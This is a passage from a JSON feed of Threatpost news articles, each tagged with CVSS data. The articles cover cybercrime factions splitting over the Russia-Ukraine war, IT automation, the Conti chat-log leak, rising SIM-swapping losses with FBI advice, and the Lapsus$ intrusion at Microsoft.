"NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-03-15T12:58:59", "id": "THREATPOST:31091088EDBCEEF43F75A2BA2387EB5C", "href": "https://threatpost.com/pandora-ransomware-hits-giant-automotive-supplier-denso/178911/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T14:53:14", "description": "A rift has formed in the cybercrime underground: one that could strengthen, rather than cripple, the cyber-onslaught of ransomware.\n\nAccording to a report ([PDF](<https://acn-marketing-blog.accenture.com/wp-content/uploads/2022/03/UPDATED-ACTI-Global-Incident-Report-Ideological-Divide-Blog-14MARCH22.pdf>)) published Monday, ever since the outbreak of war in Ukraine, \u201cpreviously coexisting, financially motivated threat actors divided along ideological factions.\u201d\n\n\u201cPro-Ukrainian actors are refusing to sell, buy, or collaborate with Russian-aligned actors, and are increasingly attempting to target Russian entities in support of Ukraine,\u201d wrote researchers from Accenture\u2019s Cyber Threat Intelligence (ACTI). \u201cHowever, pro-Russian actors are increasingly aligning with hacktivist-like activity targeting \u2018enemies of Russia,\u2019 especially Western entities due to their claims of Western warmongering.\u201d\n\n## The Russia-Ukraine Cyber Warzone\n\nHistorically, the world\u2019s foremost cybercrime forums have been Russian language. These dark web marketplaces bring together a complex network of advanced persistent threat (APT) and ransomware groups, botmasters, and malware authors \u2013 a range of cybercriminals that includes even low-level carders, scammers and script kiddies.\n\nTogether, threat actors can [do more](<https://threatpost.com/inside-ransomware-economy/166471/>) than they otherwise could on their own. For example, botmasters offer access to already compromised devices, software developers improve the malware, and initial access brokers specialize in providing network access via backdoors or security vulnerability exploits for things like Remote Desktop Protocol (RDP).\n\nThis productivity is underpinned by not only a shared language, but a shared cultural and political alignment. As ACTI noted in its report, \u201cthese forums previously employed a strict, \u2018no work in CIS\u2019 policy.\u201d The CIS \u2013 Commonwealth of Independent States \u2013 is a post-Soviet conglomeration of Russia and central Asian states.\n\nWith the outbreak of war, however, this harmony is fracturing.\n\nOne poll, published to a cross-site scripting (XSS) forum on March 2, posed the question: \u201cAre you against work on RU and CIS?\u201d 82.6 percent of respondents responded \u201cYes,\u201d but, a surprisingly large minority \u2013 17.4 percent \u2013 responded \u201cNo.\u201d\n\n## No Love For Moscow\n\nOn Feb. 27, an admin from RaidForums \u2013 an online marketplace for trafficking data from high-profile database leaks \u2013 published a statement titled \u201cRAIDFORUMS SANCTIONS ON RUSSIA.\u201d\n\n> ANY USER FOUND TO BE CONNECTING FROM RUSSIA WILL BE BANNED! THIS IS NOT A JOKE, WE DO NOT SUPPORT THE KREMLIN.\n\nShortly after the statement was published, RaidForums\u2019 main server was taken down by unknown enemies. It remained down as of March 4, according to ACTI.\n\nThe same is true in the opposite direction. The conflict \u201chas led some actors to exclusively sell their services, such as network accesses, to pro-Russian actors,\u201d researchers wrote, and inspired increased attacks against Western targets.\n\n## How This Will Hurt the West\n\nIt might appear, at first glance, that civil war in the cyber underground is a good thing. After all, if they\u2019re fighting each other they won\u2019t have time to annoy the rest of us, right?\n\nIn fact, the exact opposite is true.\n\n\u201cThe primary effect of this political divide so far,\u201d the researchers observed, \u201cis an increased and prolonged threat from underground actors aimed at Western targets, owed to the galvanization of pro-Russian actors and their targeted efforts that focus on \u2018enemies of Russia.'\u201d\n\nNationalist fervor is even motivating cybercriminals to open their arms and welcome previously shunned ransomware groups.\n\nIn response to the [Colonial Pipeline](<https://threatpost.com/colonial-pays-5m/166147/>) attack last May, Western governments and law enforcement began cracking down harder than ever on ransomware groups. In response \u2013 to avoid getting the stink on them, too \u2013 underground admins banned those groups.\n\n\u201cWhile ransomware actors did not disappear from the underground,\u201d wrote the researchers, \u201cthe ban did make it harder for them to acquire tools, recruit affiliates, or gain exploits or accesses, thereby reducing ransomware actors\u2019 abilities to scale their operations.\u201d\n\nNow, \u201cmany underground actors call for the return of ransomware groups to the mainstream underground.\u201d\n\nThe consequence of bringing ransomware groups back into the fold \u201cwould not only enable those actors to target Western organizations more efficiently but also embolden them, as other underground actors would likely herald ransomware actors\u2019 return and give those ransomware actors perceived moral reason to conduct attacks,\u201d the report concluded.\n\n## Increasingly Targeting Critical Infrastructure\n\nThe report described an increasing volume of attacks against the West, \u201cespecially in the resources, government, media, financial and insurance industries,\u201d the report said. \u201cThe targeting of financial and insurance entities is due to the perception that they are the working arms of Western financial sanctions, whereas the targeting of utilities and resources entities is due to those organizations\u2019 importance as critical national infrastructure.\u201d\n\nCritical infrastructure will be of particular concern, especially if ransomware groups have the political motive \u2013 plus the tools of the rest of the underground community at their disposal.\n\n\u201cOrganizations within telecommunications, IT, government and critical infrastructure are no doubt on a heightened level of security with the current events in the geopolitical environment,\u201d James McQuiggan of KnowBe4 told Threatpost via email, but \u201ccybersecurity is finally becoming an important topic for the government, considering the number of attacks the various agencies have dealt with over the past number of years.\u201d\n\nIf the cyber onslaught in Ukraine extends West, will the United States and the European Union [be ready](<https://threatpost.com/ukrainian-ddos-attacks-should-put-us-on-notice-researchers/178498/>)?\n\nThe answer to that question may arrive soon.\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-14T13:52:37", "type": "threatpost", "title": "Cybercrooks\u2019 Political In-Fighting Threatens the West", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-03-14T13:52:37", "id": "THREATPOST:3DB85AFFEA9491ACBD8909D0CF5FBAEA", "href": "https://threatpost.com/cybercrooks-political-in-fighting-threatens-the-west/178899/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-08T16:05:10", "description": "The majority of today\u2019s cybersecurity breaches stem from unpatched vulnerabilities and outdated systems, which means that many cyberattacks are preventable. Unfortunately, it can be challenging for IT teams to keep up with the pace of new patches every month, especially when employee devices are scattered across a distributed workforce and there\u2019s a shortage of cybersecurity professionals. These emerging factors make efficiency a critical component for any IT team.\n\n\n\nTo enable a rapid discovery of new exploits, more companies are turning to IT-automation tools for patching and system management. By streamlining the processes and reducing the workload, IT teams can quickly address new severe exploits and save time to focus their efforts on more high-impact projects.\n\nHowever, while the trend of automation will continue to grow, there still remain many challenges to its adoption, and new innovations or threats could change how the future looks for this technology.\n\n## What Can We Expect in IT Automation in the Near Future?\n\nFirst and foremost, IT automation will adapt to distributed environments. When we surveyed IT professionals, 80 percent stated that the process of managing endpoints has become harder as a result of more employees working remotely. Having to both maintain management servers across multiple, distributed sites and with sporadic, inconsistent connectivity to endpoints has made it difficult for IT teams to remain efficient and nimble. This has led to more organizations looking for cloud-native solutions to remedy these challenges.\n\nCloud-native technologies make connectivity with remote devices easier while staying secure without the use of VPNs. They also improve visibility into the exact, real-time status of a device. IT teams will have an easier time pushing patches automatically without worrying about VPN bandwidth restrictions. Within the next year, anticipate that more businesses will realize these immense benefits and replace existing tools with cloud-native IT automation.\n\nOn the flip side, challenges remain, such as addressing burnout and emerging security concepts.\n\n## IT and Security Teams\u2019 Mental Health Comes to the Fore\n\nOne thing that has become evident in the 2020s is that there is a lack of attention on and investment in employee mental health and safety. This is especially true when it comes to IT and security workers, who have come under enormous pressure and stress in our hybrid world today, where both outages and cyberattacks aren\u2019t just common, but expected to happen at all times.\n\nAutomation is one way to drive more accessibility and ease-of-use for IT teams. While in the past the core argument for automation is to provide more time for innovation, today the argument must simply be, automation creates more time for teams \u2014 but we\u2019re not there yet.\n\nConsider the (relatively) recent issue with the [Log4j vulnerability](<https://threatpost.com/log4j-vulnerability-pressures-security-world/177721/>). The issue wasn\u2019t \u201cjust\u201d that there was a new vulnerability to respond to and worry about. It was that many security and IT professionals had to go through the manual task of updating every endpoint across their system, while managers and even the C-suite watched over their shoulders.\n\nThis isn\u2019t easy \u2013 it\u2019s stressful, and it will make your teams more likely to quit, which is just unacceptable as we continue to navigate a world reshaped by the Great Resignation and IT skills shortage.\n\n## New IT Security Concepts Are on the Horizon\n\nAs Automox predicted at the end of last year, IT and security transformation continue as organizations everywhere try to find a new normal following the disruptions of the pandemic, and IT automation will have to adjust.\n\nThis has been challenging for many organizations \u2014 and more importantly, people, as discussed above \u2014 but there are silver linings too. The pandemic has pushed new innovation across many areas, with exciting new tools and practices on the horizon for IT and security teams.\n\nOne innovation that is particularly interesting is cybersecurity mesh architectures. Gartner has claimed that \u201corganizations adopting a cybersecurity mesh architecture will reduce the financial impact of security incidents by an average of 90 percent\u201d by 2024.\n\nA cybersecurity mesh architecture leverages various parts of the enterprise to integrate widely distributed, disparate security services. This is key to managing and accounting for a workforce that has never been more remote and globally distributed. Designing and implementing an IT security infrastructure that is not focused on a single perimeter, but instead smaller individual perimeters around each access point, provides quality-of-life improvements as well as more control over an organization\u2019s overall security profile.\n\nAnother trend that may seem overdue but is very much happening in real-time is the transition of ITOps and SecOps tools to cloud infrastructure. This includes firewalls, cloud access service brokers (CASBs), web gateways and other tools, as teams wind down legacy on-prem contracts and move to the cloud for more accessibility, speed and scale.\n\nBottom line: IT automation is a transformational trend that is already occurring across the enterprise today, but it needs to accelerate in order to address the many pain points security and IT teams still face today.\n\n**_Chris Hass is the Director of Information Security and Research at [Automox](<https://www.automox.com/>)._**\n\n**_Enjoy additional insights from Threatpost\u2019s Infosec Insiders community by visiting our [microsite](<https://threatpost.com/microsite/infosec-insiders-community/\\]>)._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-08T15:56:36", "type": "threatpost", "title": "The Uncertain Future of IT Automation", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-03-08T15:56:36", "id": "THREATPOST:3B8B02F621E9D9883A541B1B26BDF410", "href": "https://threatpost.com/uncertain-future-it-automation/178709/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-28T21:09:30", "description": "The Russia-Ukraine cyber warzone has split the Conti ransomware gang into warring factions, leading to a Ukrainian member spilling 60,000 of the group\u2019s internal chat messages online. \n\nOn Monday, vx-underground \u2013 an internet collection of malware source code, samples and papers that\u2019s generally considered to be a benign entity \u2013 [shared](<https://twitter.com/vxunderground/status/1498060366445613056?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1498060366445613056%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.theregister.com%2F2022%2F02%2F28%2Fconti_ransomware_gang_chats_leaked%2F>) on Twitter a message from a Conti member saying that \u201cThis is a friendly heads-up that the Conti gang has just lost all their sh\u2022t.\u201d \n\nThe gang has also, apparently, lost a cache of chat data: the first dump of what the poster promised would be multiple, \u201cvery interesting\u201d leaks coming from Conti\u2019s [Jabber/XMPP](<https://en.wikipedia.org/wiki/XMPP>) server.\n\n\u201cF\u2022ck the Russian government, Glory to Ukraine!\u201d the Conti member, who\u2019s reportedly believed to be Ukrainian, proclaimed. Threatpost advises caution about clicking on any links provided in social media messages: They are, after all, provided by a ransomware group and should be treated with kid gloves.\n\n> Conti ransomware group previously put out a message siding with the Russian government. \n> \n> Today a Conti member has begun leaking data with the message \"Fuck the Russian government, Glory to Ukraine!\"\n> \n> You can download the leaked Conti data here: <https://t.co/BDzHQU5mgw> [pic.twitter.com/AL7BXnihza](<https://t.co/AL7BXnihza>)\n> \n> \u2014 vx-underground (@vxunderground) [February 27, 2022](<https://twitter.com/vxunderground/status/1498060366445613056?ref_src=twsrc%5Etfw>)\n\nCisco Talos\u2019 Azim Khodjibaev [said](<https://twitter.com/AShukuhi/status/1498066223564738565?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1498066223564738565%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.theregister.com%2F2022%2F02%2F28%2Fconti_ransomware_gang_chats_leaked%2F>) on Sunday verified that the dump does in fact contain conversations between affiliates, administrators and admins, rendered on [Jabber](<https://threatpost.com/attackers-can-exploit-critical-cisco-jabber-flaw-with-one-message/158942/>) instant-messaging accounts. \n\n> looks like the [#conti](<https://twitter.com/hashtag/conti?src=hash&ref_src=twsrc%5Etfw>) leaks of 2022 are indeed chat logs from jabber accounts between affiliates, administrators and admins. Rejoice CTI analysts and data scientists, it is in json form! [#busymonday](<https://twitter.com/hashtag/busymonday?src=hash&ref_src=twsrc%5Etfw>) [pic.twitter.com/DiyqNoymsD](<https://t.co/DiyqNoymsD>)\n> \n> \u2014 Azim Khodjibaev (@AShukuhi) [February 27, 2022](<https://twitter.com/AShukuhi/status/1498066223564738565?ref_src=twsrc%5Etfw>)\n\nThe conversations date back 13 months, from Jan. 29, 2021 to yesterday, Feb. 27 2022. \n\nThe first dump contains 339 JSON files, with each file representing a full day\u2019s log. Cybersecurity firm IntelligenceX has posted the spilled conversations [here](<https://intelx.io/?did=51fbf19b-91f5-4d2d-b4e7-504477ebe916>). Many of the messages are written in a Cyrillic-scripted language that appears, at least according to Google translate, to be Russian. \n\n## The Perhaps-Less-Than-100% Russian Conti\n\nConti, a Russia-based extortionist gang, is considered to be as ruthless as it is [sophisticated](<https://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/>): It was the first professional-grade ransomware group to weaponize Log4j2. \n\nOn Friday, Conti sided with Russia, pledging \u201cfull support\u201d for President Vladimir Putin\u2019s invasion of Ukraine.\n\n\u201cWARNING,\u201d Conti [blared](<https://continewsnv5otx5kaoje7krkto2qbu3gtqef22mnr7eaxw3y6ncz3ad.onion.ly/>) on its blog, threatening to use its \u201cfull capacity\u201d to retaliate in the face of \u201cWestern warmongers attempt to target critical infrastructure in Russia or any Russian-speaking region of the world.\u201d\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/28150130/Conti-screenshot-e1646078556143.png>)\n\nConti blog pledge to support Russia\u2019s invasion of Ukraine. Source: Conti blog.\n\n## Cyberattacks Coming at and From Russia\n\nThe split-Conti story is just one of a myriad of cybersecurity headlines coming out of the siege of Ukraine. Some other events in the cyberwar that are rocking the security world:\n\n[Russia appears to deploy digital defenses after DDoS attacks](<https://therecord.media/russia-appears-to-deploy-digital-defenses-after-ddos-attacks/>)\n\n[Anonymous Declares \u2018Cyberwar\u2019 on Russia and Pledges Support for Ukraine](<https://heimdalsecurity.com/blog/anonymous-declares-cyberwar-on-russia-and-pledges-support-for-ukraine/>)\n\n[Anonymous breached the internal network of Belarusian railways](<https://securityaffairs.co/wordpress/128486/hacktivism/anonymous-breached-belarusian-railways.html?utm_source=feedly&utm_medium=rss&utm_campaign=anonymous-breached-belarusian-railways>)\n\n[Ukraine: Volunteer IT Army is going to hit tens of Russian targets from this list](<https://securityaffairs.co/wordpress/128464/cyber-warfare-2/ukraine-volunteer-it-army-targets-russia.html?utm_source=feedly&utm_medium=rss&utm_campaign=ukraine-volunteer-it-army-targets-russia>)\n\nRichard Fleeman, vice president of penetration testing ops at cybersecurity advisory services provider Coalfire, told Threatpost on Monday that collective groups such as Anonymous claim to be hacktivists, meaning they don\u2019t attack for personal gain, but rather that they seek to spread their ideology and wage cyberwarfare against those that don\u2019t align. \n\n\u201cThese kinds of activities ebb and flow based on geopolitical events or collective objectives of these groups,\u201d he said. This isn\u2019t new, but they\u2019ll likely escalate \u201camidst the global chaos to target various countries, government agencies, and corporations.\u201d\n\n\u201cThese groups thrive on sentiment and will likely continue to build momentum based on their objectives,\u201d Fleeman observed. \n\nThe muddle of war can also obscure false flag or false information campaigns that target, influence or mislead others, he said. \u201cThis can be accomplished in a variety of ways, for example, China compromising Russian technology and targeting other nations through the compromised infrastructure to hide the origins of their attacks or embedding Russian language or terms into source code of malware would aid in the hiding [of] the true origin.\u201d\n\nHe urged that situational awareness be elevated and that security teams \u201cbe vigilant, remain alert, and leverage their security mechanisms in place to identify threats and mitigate them in a fluid manner.\u201d\n\n## The Lure of War to Cyber Actors \n\nCasey Ellis, founder and CTO at crowdsourced cybersecurity provider [Bugcrowd](<https://bugcrowd.com/>), told Threatpost on Monday that the bloodless nature of cyber combat makes it tough to predict who\u2019ll enter this conflict and how. \n\n\u201cThe fact that a lot of unrelated but concerned actors have entered the conflict is unsurprising,\u201d he noted via email. \u201cAnonymous, for example, is well-known for having a principled position on topics and then acting or retaliating via the Internet.\u201d\n\nHis primary concern: \u201cthe relative difficulty of attribution in cyberattacks, as well as the possibility of incorrect attribution or even an intentional false flag operation escalating the conflict internationally.\u201d\n\nRussia will likely avoid provoking the United States \u201cuntil it\u2019s tactically or strategically advantageous for them to do so, which we all hope we can avoid,\u201d he noted. Last week, the White House denied considering [plans](<https://threatpost.com/white-house-denies-mulling-massive-cyberattacks-against-russia/178658/>) to launch massive cyberattacks against Russia in order to cut off its ability to pursue its military aggression \u2013 denials made in spite of NBC News quoting multiple sources to the contrary. \n\n\u201cHaving said that, the backdrop of conflict and the openness of the Internet provide greater than normal levels of'\u201daircover\u2019 and background noise for cybercriminals, as well as other nation-states looking to plant a false flag,\u201d Ellis said.\n\nJohn Bambenek, principal threat hunter at digital IT and security operations company [Netenrich](<https://netenrich.com/>), told Threatpost via email that it\u2019s the wild west out there: Traditional actors are using sabotage and DDoS related to military objectives, he observed, while others \u201cwill use the fog of war (quite literally) to take advantage. No one has to commit front line infantry if they want to take advantage anymore,\u201d he said.\n\nExpect a pig pile, he predicted: \u201cUsually for conflicts in that region, other non-state regional actors will engage, either due to patriotism or opportunism. Now that more nations are developing this capability, more are coming to play. And there is no better training ground for nation-state actors than playing in an active warzone.\u201d \n\nWhat does that mean for security teams in the United States and other western countries? It depends on what the West does, he said. \u201cIf we get involved militarily, then the scope of attacks will increase to those nations as well. If it is targeted sanctions, likely attacks will focus on those in the chain of enforcement.\u201d\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-28T21:00:32", "type": "threatpost", "title": "Ukraine-Russia Cyber Warzone Splits Cyber Underground", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-02-28T21:00:32", "id": "THREATPOST:BDCC3D007E103708BD7CA085B29EF2CB", "href": "https://threatpost.com/ukraine-russia-cyber-warzone-splits-cyber-underground/178693/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-10T22:37:59", "description": "SIM-swapping \u2013 the practice of duping mobile carriers into switching a target\u2019s phone services to an attacker-controlled phone \u2013 is on the rise, the Feds are warning \u2013 leading to millions in losses for consumers who found their bank accounts drained and other accounts taken over.\n\nSubscriber Identity Modules (SIMs) are small chips inside mobile phones that allow the carrier to identify and register subscriber devices \u2013 a requirement to provide service to them. Most SIM-swapping attacks take the form of social engineering, where the criminals impersonate victims and convince customer-service agents to change over victims\u2019 services to new phones that they control.\n\nOnce the service has been redirected, the crooks have access to any of the victims\u2019 calls, texts, voicemails and saved profile data, which allows them to send \u201cForgot Password\u201d or \u201cAccount Recovery\u201d requests to the victim\u2019s email, which enables them to easily defeat two-factor authentication that uses one-time passcodes and thus to crack high-value accounts.\n\nWhile SIM-swapping (aka SIM-jacking) isn\u2019t a new practice, the attacks now seem to be accelerating at a rapid clip: Last year, the FBI Internet Crime Complaint Center (IC3) received 1,611 SIM swapping complaints with adjusted losses stemming from resulting account takeovers and data theft totaling more than $68 million, [it said this week](<https://www.ic3.gov/Media/Y2022/PSA220208>). In contrast, for the entire three-year period between January 2018 to December 2020, there were just 320 SIM-swapping complaints, with adjusted losses of approximately $12 million.\n\n## **SIM-Swapping: All Too Easy**\n\nIt\u2019s usually not a difficult plan to execute successfully, given that many carriers [don\u2019t ask in-depth security questions](<https://threatpost.com/social-engineering-telcos-phone-hijacking/144495/>) that fully verify that the caller is in fact the legitimate cell phone user. Often, the challenge questions can be answered with previously phished information or even with public information found on social-media sites.\n\nThe epidemic of large-scale data breaches also contributes to the gambit\u2019s high rate of success, according to Chris Clements, vice president of solutions architecture at Cerberus Sentinel.\n\n\u201cWhen people wonder what the consequences of large-scale data breaches are, this is exactly it,\u201d he noted via email. \u201cBoth people and companies have become conditioned to being able to verify identity through simple questions like Social Security number or mother\u2019s maiden name. Unfortunately, this falls apart completely when data breaches affecting millions of people routinely occur.\u201d\n\nOther attack vectors include phishing and insider-threat avenues. For instance, when it came to light in 2019 that Twitter CEO Jack Dorsey was the victim of a SIM swap, the New York Times [reported](<https://www.nytimes.com/2019/09/05/technology/sim-swap-jack-dorsey-hack.html>) that \u201chacking crews have paid off phone company employees to do\u2026switches for them, often for as little as $100 for each phone number.\u201d Again, this type of accomplice-cultivation isn\u2019t unusual \u2013 it [even resulted in a lawsuit](<https://threatpost.com/att-faces-224m-legal-challenge-over-sim-jacking-rings/136645/>) for AT&T in 2018.\n\nSIM-swapping is not just happening in the United States, either: The Spanish National Police, for instance, this week [busted open](<https://www.policia.es/_es/comunicacion_prensa_detalle.php?ID=11102>) a SIM-swapping ring that got around carriers\u2019 photo-based account verification by using non-original photos of victims to request swaps.\n\n## **Protection Responsibility Lies with Carriers**\n\nThere\u2019s very little that end users can do to avoid becoming victims of SIM-jacking jerks (although the FBI recommends a few protection steps, below). Primarily, it\u2019s the mobile phone company\u2019s responsibility to keep its house in order, researchers said.\n\n\u201cAll organizations, but especially service providers must move from more simplistic means of validating identity to more sophisticated ones,\u201d Cerberus\u2019 Clements said. \u201cPIN codes unique to each user\u2019s account can be one way of adding additional security to the process. \u2018Out of wallet\u2019 questions are another alternative that works by verifying much harder to compromise information such as last three home addresses or cars. It may be more of a hassle for everyone, but it\u2019s simply no longer viable to rely on information that has been routinely compromised to validate a person\u2019s identity.\u201d\n\nAnother best practice that all businesses can implement is to move on from SMS-based 2FA, others said.\n\n\u201cSIM-swapping attacks have been going on for over a decade and have likely resulted in billions in stolen cryptocurrency and other financial crime,\u201d Roger Grimes, data-driven defense evangelist at KnowBe4, said via email. \u201cSMS-based MFA has to be the most popular MFA option used on the internet, and most of the time, people do not have a choice of whether to use it or not. Their bank, vendor or service says they have to use it. And, let me say again, the U.S. government has said not to use it since 2017. The better question to ask is why so many services and vendors are still using SMS-based and phone-number based MFA five years after the U.S. government said not to use it? Why are we so slow and broken?\u201d\n\nThe FBI recommended this week that mobile carriers take the following precautions:\n\n * Educate employees and conduct training sessions on SIM swapping.\n * Carefully inspect incoming email addresses containing official correspondence for slight changes that can make fraudulent addresses appear legitimate and resemble actual clients\u2019 names.\n * Set strict security protocols enabling employees to effectively verify customer credentials before changing their numbers to a new device.\n * Authenticate calls from third-party authorized retailers requesting customer information.\n\n## **SIM-Swapping Consumer Protection Tips**\n\nThe FBI also recommended this week that individuals take the following precautions:\n\n * Do not advertise information about financial assets, including ownership or investment of cryptocurrency, on social-media websites and forums.\n * Do not provide your mobile number account information over the phone to representatives that request your account password or PIN. Verify the call by dialing the customer service line of your mobile carrier.\n * Avoid posting personal information online, such as mobile phone number, address or other personal identifying information.\n * Use a variation of unique passwords to access online accounts.\n * Be aware of any changes in SMS-based connectivity.\n * Use strong MFA methods such as biometrics, physical security tokens or standalone authentication applications to access online accounts.\n * Do not store passwords, usernames or other information for easy login on mobile device applications.\n\n**_Check out our free _**[**_upcoming live and on-demand online town halls_**](<https://threatpost.com/category/webinars/>) **_\u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-10T22:13:33", "type": "threatpost", "title": "Sharp SIM-Swapping Spike Causes $68M in Losses", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-02-10T22:13:33", "id": "THREATPOST:795C39123EE147B39072C9434899E8FE", "href": "https://threatpost.com/sharp-sim-swapping-spike-losses/178358/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-23T15:55:24", "description": "In a new blog post published last night, Microsoft confirmed that the Lapsus$ extortion group hacked one of its employee\u2019s accounts to get \u201climited access\u201d to project source code repositories.\n\n\u201cNo customer code or data was involved in the observed activities. Our investigation has found a single account had been compromised, granting limited access. Our cybersecurity response teams quickly engaged to remediate the compromised account and prevent further activity,\u201d Microsoft explained in an [advisory](<https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/>) about the Lapsus$ threat actors.\n\nOver the weekend and into this week, the gang has publicly [claimed](<https://threatpost.com/lapsus-data-kidnappers-claim-snatches-from-microsoft-okta/179041/>) to have penetrated Microsoft\u2019s defenses and stolen source code, including code for the company\u2019s Bing search engine, Bing Maps and Cortana voice assistant.\n\n## Compromised Azure DevOps Server\n\nOn Sunday, the actor announced that it had compromised Microsoft\u2019s Azure DevOps server. Lapsus$ [shared](<https://twitter.com/ZeroLogon/status/1505408208059383809?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1505408208059383809%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fsecurityaffairs.co%2Fwordpress%2F129344%2Fcyber-crime%2Flapsus-leak-37gb-microsoft-source-code.html>) a screenshot of what were allegedly Microsoft\u2019s internal source code repositories: leaked files that security researchers [said](<https://www.bleepingcomputer.com/news/microsoft/lapsus-hackers-leak-37gb-of-microsofts-alleged-source-code/>) appear to be legitimate internal source code.\n\n> LAPSU$ next victim seem to be [@Microsoft](<https://twitter.com/Microsoft?ref_src=twsrc%5Etfw>) (?)[@SOSIntel](<https://twitter.com/SOSIntel?ref_src=twsrc%5Etfw>) [@LawrenceAbrams](<https://twitter.com/LawrenceAbrams?ref_src=twsrc%5Etfw>) [pic.twitter.com/X5FmgajJcz](<https://t.co/X5FmgajJcz>)\n> \n> 